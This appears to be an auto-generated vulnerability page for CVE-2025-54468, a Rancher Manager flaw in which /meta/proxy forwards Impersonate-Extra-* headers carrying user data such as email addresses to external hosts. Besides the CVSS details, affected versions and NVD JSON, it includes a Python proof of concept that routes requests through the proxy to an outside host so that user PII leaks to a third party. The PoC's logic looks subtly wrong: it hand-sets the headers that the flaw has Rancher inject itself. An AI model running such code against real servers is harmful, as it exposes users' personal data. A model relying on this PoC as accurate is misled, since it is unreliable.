Security Vulnerability Report
中文
CVE-2025-54468 CVSS 4.7 MEDIUM

CVE-2025-54468

Published: 2025-10-02 10:15:40
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified within Rancher Manager whereby `Impersonate-Extra-*` headers are being sent to an external entity, for example `amazonaws.com`, via the `/meta/proxy` Rancher endpoint. These headers may contain identifiable and/or sensitive information e.g. email addresses.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Rancher Manager < 2.10.4
Rancher Manager < 2.9.11
Rancher Manager < 2.8.16
所有启用 /meta/proxy 端点的 Rancher Manager 版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54468 PoC - Rancher Manager Impersonate-Extra-* Header Leakage # This PoC demonstrates how Impersonate-Extra-* headers are forwarded # to external entities via the /meta/proxy endpoint import requests # Target Rancher Manager server RANCHER_URL = "https://rancher.example.com" # Step 1: Authenticate with Rancher (if required) # Note: This vulnerability can be triggered without authentication (PR:N) # but may require user interaction (UI:R) through the Rancher UI # Step 2: Craft a request to the /meta/proxy endpoint # targeting an external entity (e.g., amazonaws.com metadata service) target_url = "https://rancher.example.com/meta/proxy/example.com" # Step 3: Send request with Impersonate-Extra-* headers # These headers are typically injected by Rancher when impersonation is active headers = { "Impersonate-User": "user-example", "Impersonate-Group": ["system:authenticated"], "Impersonate-Extra-Email": "[email protected]", "Impersonate-Extra-Role": "admin", "Impersonate-Extra-Org": "example-org" } # Step 4: Send the request - the headers will be forwarded to the external entity response = requests.get(target_url, headers=headers, verify=False) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") # Step 5: Observe that the Impersonate-Extra-* headers were # forwarded to the external target, leaking user PII data # The external entity (e.g., AWS) would receive headers like: # Impersonate-Extra-Email: [email protected] # This exposes the user's email address to the third party # Alternative exploitation via Rancher UI: # 1. Login to Rancher Manager dashboard # 2. Navigate to a cluster # 3. Use the "Launch kubectl" or proxy functionality # 4. Make a request to an external URL through /meta/proxy # 5. The Impersonate-Extra-* headers are automatically included # 6. External service receives sensitive user information

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54468", "sourceIdentifier": "[email protected]", "published": "2025-10-02T10:15:39.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified within Rancher Manager whereby `Impersonate-Extra-*` headers are being sent to an external entity, for example `amazonaws.com`, via the `/meta/proxy` Rancher endpoint. These headers may contain identifiable and/or sensitive information e.g. email addresses."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-54468", "source": "[email protected]"}, {"url": "https://github.com/rancher/rancher/security/advisories/GHSA-mjcp-rj3c-36fr", "source": "[email protected]"}]}}